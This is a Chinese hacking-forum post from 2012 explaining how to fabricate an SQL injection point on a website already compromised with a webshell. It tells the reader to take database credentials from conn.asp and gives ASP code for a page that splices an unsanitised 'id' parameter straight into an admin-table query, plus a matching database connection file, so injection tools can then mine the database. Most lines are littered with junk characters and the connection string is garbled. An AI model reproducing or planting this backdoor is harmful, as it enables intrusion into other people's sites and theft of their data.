找回密码
 立即注册
查看: 2596|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
. t& ?# @, a( ^0 Z4 K5 x( A3 G. P& v, B# p% d' J. x% B
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
0 I4 j2 o& _$ w) l( [: B7 S
3 ?  p6 `( M0 x: h8 x# `这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!8 A0 s0 y+ X3 e0 E2 M) l

0 ~, c1 x5 G% k, F8 Q9 f3 g首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
) L. ~/ F- f- h3 p: F5 e8 v' K- Z8 |2 l1 p6 ^) j
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
3 D9 |$ Z# x! R- [: c* W) O7 e/ [. }1 i) `# t7 _. k
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:1 c* `0 s1 U" `) B

& J7 A  U/ i/ {# o程序代码
4 x1 }9 [8 b9 l! m<!--#include file="xx.asp"-->
. Z7 G+ u' a; Q8 Y& c- S<%0 X; H1 w3 N  n
set rs=server.createobject("ADODB.recordset")8 _' P: I: F4 G
id = request("id")
5 P! Y/ K- A2 }! x! UstrSQL = "select * from admin where id=" & id
. z1 {, N, e. ?rs.open strSQL,conn,1,36 [7 }8 y; m3 K4 {( ~8 ?/ s5 o
rs.close8 b7 H3 U- g! Z; n& v9 Z
%>$ e  W0 B& _; C7 F
0 v- F, {3 K  k  w3 V' H
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
: ]5 M  u( v9 `% j9 d7 l* W3 E1 X8 B: `* e$ ~. G
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!# z* ?; H& J5 m

  Y1 r( d2 ^3 k0 n( T; N6 @1 F0 r0 S9 a然后就要构造一个连接数据库的文件了,代码如下:: ~2 A3 `9 N# P% x; ?
程序代码7 ~4 h# l2 j+ s6 e" F
<%        
5 f3 H0 B8 q4 HstrSQLServerName = "000.000.000.000"     '服务器名称或地址
- o( C! k8 r% \" ]5 RstrSQLDBUserName = "sqlname"         '数据库帐号
& \0 ~& v- p) A: D1 D1 `strSQLDBPassword = "sqlpass"         '数据库密码
' z0 p6 I& p. E$ FstrSQLDBName = "sqldataname"           '数据库名称# O! |/ G4 Q* T) }: f+ ^# F
Set conn = Server.CreateObject("ADODB.Connection")$ C8 H* v& M' O0 ?
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
- U7 V! M: s- m3 L, H: r* {8 Econn.open strCon3 g0 |# m% ~; O, c9 U
%>
) c4 [+ d9 M# h5 }$ m9 _; y7 G2 p/ R7 d$ M1 b, D1 R$ T0 |! g$ e% v
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
; T5 e/ ?% P+ V% @3 H
, O+ M9 }3 S8 N- h0 g就这样,正常情况下,就OK了,伪造成功……
, |- M/ n' `1 u: r8 ]
8 b8 ]9 k$ D: ~           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表